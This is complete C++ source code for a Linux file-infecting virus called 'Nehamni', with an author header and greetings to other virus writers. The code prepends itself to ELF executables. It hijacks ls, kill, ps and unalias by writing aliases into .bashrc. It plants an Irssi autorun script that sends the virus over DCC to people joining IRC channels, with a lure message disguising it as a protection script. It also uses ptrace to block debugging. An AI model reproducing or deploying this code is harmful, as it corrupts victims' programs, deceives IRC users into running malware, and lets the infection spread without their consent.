/*
* virus name: Nehamni (kneeeee ham knee)
* author: free0n
* date:05/28/2007
* site:http://free0n.host.sk || http://doomriderz.co.nr
* desc: linux prepender virus mixed bash alias hooking and irssi irc
* client spreading. Only infects ELF files in the current directory
* or the directory of where the alias is getting executed. Code is
* pretty well documented. Tested on ubuntu 7.04 fiesty fawn.
* compile: g++ -O3 "nehamni" -o "nehamni"
* greetz: wargame,genetix,impurity,synge,
* cyneox,hermit,retro,hutley,DiA,
* berniee, izeee! napster, spth,
* sabek, slage, SysBreaker, Retro,
* MrAnderson, and anyone else i forgot
* sry :)
*/
#include <iostream>
#include <sys/dir.h>
#include <sys/stat.h>
#include <sys/ptrace.h>
#include <stdlib.h>
#include <elf.h>
#include <fcntl.h>
#define MAX_DIR_PATH 2048
#define NAME "nehamni"
#define SIZE 17586
using namespace std;
char *me;
char *myPath;
int mesize = 0;
//checks if a directory exists or not
bool DirectoryExists(char *dirpath) {
struct stat fs = { 0 };
if (stat(dirpath, &fs) == 0 && S_ISDIR(fs.st_mode)) {
return true;
}
return false;
}
//Irssi irc client spreading
//works by checking if we have .irssi installed in the home folder
//then checks if there is a autorun directory. If there isn't then
//it's created an we drop a perl script file. Sort of like what we do
//with mirc on windows. Anyone that joins a channel the user is on
//will get a message and a dcc request.
void Irssi(char *irssi) {
strcat(irssi,"/.irssi");
if(DirectoryExists(irssi)) {
strcat(irssi,"/scripts");
if(!DirectoryExists(irssi)) {
mkdir(irssi,0777);
strcat(irssi,"/autorun");
if(!DirectoryExists(irssi)) {
mkdir(irssi,0777);
}
}
strcat(irssi,"/nehamni.pl");
FILE *irssistream;
if((irssistream = fopen(irssi, "w+")) != (FILE *)0) {
fprintf(irssistream,"use Irssi; \n");
fprintf(irssistream,"use vars qw($VERSION %IRSSI);\n");
fprintf(irssistream,"$VERSION = '0.69';\n");
fprintf(irssistream,"%IRSSI = (\n");
fprintf(irssistream,"name => 'nehamni',\n");
fprintf(irssistream,"authors => 'free0n',\n");
fprintf(irssistream,"contact => 'phree0n@hotmail.com',\n");
fprintf(irssistream,"url => 'http://free0n.host.sk',\n");
fprintf(irssistream,"license => 'GPL',\n");
fprintf(irssistream,"ldescription => 'nehamni protection script',\n");
fprintf(irssistream,");\n");
fprintf(irssistream,"sub nehamni {\n");
fprintf(irssistream,"my($server, $data, $nick, $address) = @_;\n");
fprintf(irssistream,"return if ($nick eq $server->{nick});\n");
fprintf(irssistream,"$server->command(\"^MSG \" . $nick . \" hey \" . $nick . \" check out this irssi irc protection script, it even has antivirus for dcc transfers\"); \n");
fprintf(irssistream,"$server->command(\"^DCC SEND \" . $nick . \" %s\");\n",me);
fprintf(irssistream,"$server->command(\"^MSG \" . $nick . \" maybe i should make my own antivirus, it would be way better then the ones out there now :D\");\n");
fprintf(irssistream,"}\n");
fprintf(irssistream,"sub unloaded {\n");
fprintf(irssistream,"printf(\"I do it for myself, not for you and not for others!\");\n");
fprintf(irssistream,"}\n");
fprintf(irssistream,"Irssi::command_bind nehamni => \\&unloaded; \n");
fprintf(irssistream,"Irssi::signal_add('message join', 'nehamni');\n");
fclose(irssistream);
}
}
}
void Profile() {
//apend text to the .bashrc file
//so we can alias programs that get used in bash shell
//so for example if the user executes ls, then we call our virus
//or user executes kill command then instead of launching kill we launch
//the virus. We edit bashrc cause it gets executed each time a new shell
//launches. This will also change the directory of infection, so whatever
//directory that the command gets run in is the directory the virus will infect
//in...
string bashrc = (string)getenv("HOME") + "/.bashrc";
int fb;
if((fb = open(bashrc.c_str(),O_RDONLY)) != -1) {
char buffw[8];
struct stat statrc;
stat(bashrc.c_str(), &statrc);
lseek(fb,(statrc.st_size - (strlen(NAME)+1)), SEEK_SET);
read(fb,&buffw,(strlen(NAME)+1));
close(fb);
if((strncmp (buffw,NAME,strlen(NAME))) != 0) {
FILE *bashstream;
if((bashstream = fopen(bashrc.c_str(), "at")) != (FILE *)0) {
fprintf(bashstream,"alias ls='%s'\n",me);
fprintf(bashstream,"alias kill='%s'\n",me);
fprintf(bashstream,"alias unalias='%s'\n",me);
fprintf(bashstream,"alias ps='%s'\n",me);
fprintf(bashstream,"#%s ",NAME);
}
fclose(bashstream);
}
}
}
//is the fish! kidding elfish i know :D
bool IsElfish(char *hostFile) {
Elf32_Ehdr elfHeader;
int fd;
if((fd = open(hostFile,O_RDONLY)) == -1)
return false;
read(fd,&elfHeader,sizeof(Elf32_Ehdr));
close(fd);
//check if it says ELF
if(strncmp((const char *)&elfHeader.e_ident[1], "ELF",3) != 0)
return false;
//check if it's executable
if(elfHeader.e_type != ET_EXEC)
return false;
return true;
}
bool IsInfected(char *chkfile) {
int fd;
if((fd = open(chkfile,O_RDONLY)) != -1) {
char buf[7];
struct stat statbuf;
stat(chkfile, &statbuf);
//seek to the end of the file where we would have our NAME
lseek(fd, (statbuf.st_size - strlen(NAME)), SEEK_SET);
read (fd,&buf,strlen(NAME));
close(fd);
//check to see if the marker was = to NAME(nehamni)
if((strncmp (buf,NAME,strlen(NAME))) == 0) {
return true;
}
//check to see if the name is nehamni
if((strncmp (chkfile,NAME,strlen(NAME))) == 0) {
return true;
}
}
return false;
}
void Prepend(char *host) {
FILE *fNehamni;
FILE *fHost;
FILE *fTmp;
struct stat hstat;
int vsize,hsize,mesize;
char *vircode,*hcode;
if(IsInfected(host) == false){
if((fNehamni = fopen(me,"rb")) != NULL) {
//read the virus code
vsize = SIZE;
vircode = (char*)malloc(vsize);
fread(vircode,vsize,1,fNehamni);
if((fTmp = fopen(host,"rb")) != NULL) {
//read the file that we passed in, should be a host flie
stat(host,&hstat);
hsize = hstat.st_size;
hcode = (char*)malloc(hsize);
fread(hcode,1,hsize,fTmp);
//overwrite the host file and write the virus,host,marker to
//the file
if((fHost = fopen(host,"wb")) != NULL) {
fwrite(vircode,vsize,1,fHost);
fwrite(hcode,hsize,1,fHost);
fwrite(NAME,strlen(NAME),1,fHost);
fclose(fHost);
}
fclose(fTmp);
free(hcode);
}
fclose(fNehamni);
free(vircode);
}
}
}
void InfectionSearch() {
struct direct *directPtr;
struct stat statBuf;
DIR *dirPtr;
char myDir[MAX_DIR_PATH+1];
//get the current working directory (cwd)
//if we can't get it then we exit
if(!getcwd(myDir, MAX_DIR_PATH)) {
return;
}
myPath = strcat(myDir,"/");
dirPtr = opendir(myDir);
if(!dirPtr) {
return;
}
//loop through the directory
while (directPtr = readdir(dirPtr)) {
if (strcmp(directPtr->d_name,".") != 0 && strcmp(directPtr->d_name,"..") != 0) {
//check to see if the file is elf
if(IsElfish(directPtr->d_name)) {
Prepend(directPtr->d_name);
}
}
}
}
int main(int argc, char *argv[]) {
//pretty cool we can do antidebug this easily:)
//although there are probably ways around it, it's still neat.
if(ptrace(PTRACE_TRACEME, 0, NULL, NULL)) {
printf("I have dreamed a dream, and my spirit was troubled to know the dream.");
return 0;
}
//basic check to see how we are being called
//if its running from shell as ./nehamni or as
//a full path /home/blah/nehamni. If it's running
//as ./nehamni then we correct it so its the full path
//to the file.
me = argv[0];
string f = (string)me;
int pathlen = strlen(me);
if(pathlen > 2) {
if(f.substr(0,2) == "./") {
char cwd[MAX_DIR_PATH+1];
if(getcwd(cwd, MAX_DIR_PATH)) {
strcat(cwd,"/");
strcat(cwd,f.substr(2).c_str());
me = cwd;
}
}
}
//start the file infection search.
InfectionSearch();
//call our bashrc profile function
Profile();
//launch irssi spreading
Irssi(getenv("HOME"));
//check to see if we are running as an infected file
struct stat virstat;
stat(me,&virstat);
mesize = virstat.st_size;
int size = (mesize) - SIZE;
if(size > 0) {
FILE *fTmpHost;
FILE *fTmpHostWrite;
char *hostTmp;
int hostTmpSize = (mesize - (SIZE + sizeof(NAME))) + 1;
if(hostTmpSize > 0) {
if((fTmpHost = fopen(me,"rb")) != NULL) {
hostTmp = (char*)malloc(hostTmpSize);
fseek(fTmpHost,SIZE,SEEK_SET);
fread(hostTmp,hostTmpSize,1,fTmpHost);
strcat(me,"tmp");
if((fTmpHostWrite = fopen(me,"wb")) != NULL) {
fwrite(hostTmp,hostTmpSize,1,fTmpHostWrite);
fclose(fTmpHostWrite);
chmod(me,virstat.st_mode);
system(me);
remove(me);
}
fclose(fTmpHost);
free(hostTmp);
}
}
}
return 0;
}